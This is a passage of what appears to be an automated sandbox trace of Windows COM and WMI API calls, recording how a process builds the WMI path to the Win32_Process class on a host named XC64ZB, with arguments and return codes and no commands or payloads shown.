0x0 [0105.698] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0105.698] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0105.698] IWbemClassObject:Get (in: This=0x1b4a0dc0, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0105.698] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0105.698] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0105.698] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0105.698] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0105.698] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0105.698] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.699] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45cf90) returned 0x0 [0105.699] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cf90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0105.699] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cf90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656330) returned 0x0 [0105.700] WbemDefPath:IUnknown:Release (This=0x1b45cf90) returned 0x0 [0105.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656330) returned 0x0 [0105.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0105.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0105.700] WbemDefPath:IUnknown:AddRef (This=0x656330) returned 0x3 [0105.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0105.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0105.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45cdf0) returned 0x0 [0105.700] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cdf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.700] WbemDefPath:IUnknown:Release (This=0x1b45cdf0) returned 0x3 [0105.700] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0105.700] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0105.700] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0105.701] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x2 [0105.701] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x1 [0105.701] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0105.701] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0105.701] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656330) returned 0x0 [0105.701] WbemDefPath:IUnknown:AddRef (This=0x656330) returned 0x3 [0105.701] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x2 [0105.701] WbemDefPath:IWbemPath:SetText (This=0x656330, uMode=0x4, pszPath="") returned 0x0 [0105.701] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0105.701] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0105.701] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0105.701] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.702] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45cf90) returned 0x0 [0105.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cf90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0105.702] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cf90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656870) returned 0x0 [0105.702] WbemDefPath:IUnknown:Release (This=0x1b45cf90) returned 0x0 [0105.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656870) returned 0x0 [0105.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0105.702] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0105.702] WbemDefPath:IUnknown:AddRef (This=0x656870) returned 0x3 [0105.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0105.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0105.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45d030) returned 0x0 [0105.703] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d030, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.703] WbemDefPath:IUnknown:Release (This=0x1b45d030) returned 0x3 [0105.703] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0105.703] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0105.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0105.703] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x2 [0105.703] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x1 [0105.703] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0105.703] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0105.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656870) returned 0x0 [0105.703] WbemDefPath:IUnknown:AddRef (This=0x656870) returned 0x3 [0105.703] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x2 [0105.703] WbemDefPath:IWbemPath:SetText (This=0x656870, uMode=0x4, pszPath="") returned 0x0 [0105.703] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0105.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656330, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0105.704] WbemDefPath:IWbemPath:GetClassName (in: This=0x656870, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0105.710] WbemDefPath:IWbemPath:GetServer (in: This=0x656870, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0105.710] WbemDefPath:IWbemPath:SetServer (This=0x656870, Name="XC64ZB") returned 0x0 [0105.710] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0105.710] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0105.711] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0105.711] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.712] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45d090) returned 0x0 [0105.712] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d090, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0105.712] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d090, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x655430) returned 0x0 [0105.712] WbemDefPath:IUnknown:Release (This=0x1b45d090) returned 0x0 [0105.712] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x655430) returned 0x0 [0105.712] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0105.712] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0105.712] WbemDefPath:IUnknown:AddRef (This=0x655430) returned 0x3 [0105.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0105.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0105.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45d130) returned 0x0 [0105.713] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d130, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.713] WbemDefPath:IUnknown:Release (This=0x1b45d130) returned 0x3 [0105.713] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0105.713] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0105.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0105.713] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x2 [0105.713] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x1 [0105.713] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0105.713] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0105.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x655430, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x655430) returned 0x0 [0105.714] WbemDefPath:IUnknown:AddRef (This=0x655430) returned 0x3 [0105.714] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x2 [0105.714] WbemDefPath:IWbemPath:SetText (This=0x655430, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0105.714] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0105.714] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655430, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0105.714] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0105.714] WbemDefPath:IWbemPath:GetText (in: This=0x655430, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0105.714] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x656870) returned 0x0 [0105.714] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655430, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0105.714] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655430, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0105.714] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655430, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0105.714] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656870, uIndex=0x0, pszName="ROOT") returned 0x0 [0105.714] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655430, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0105.714] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x655430, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0105.714] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x656870, uIndex=0x1, pszName="CIMV2") returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetClassName (in: This=0x656870, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0105.715] WbemDefPath:IWbemPath:SetClassName (This=0x656870, Name="Win32_Process") returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetInfo (in: This=0x656870, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetInfo (in: This=0x656870, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656870, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0105.715] WbemDefPath:IWbemPath:GetText (in: This=0x656870, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0105.716] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0105.716] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0105.716] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0105.716] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.719] CoGetClassObject (in: 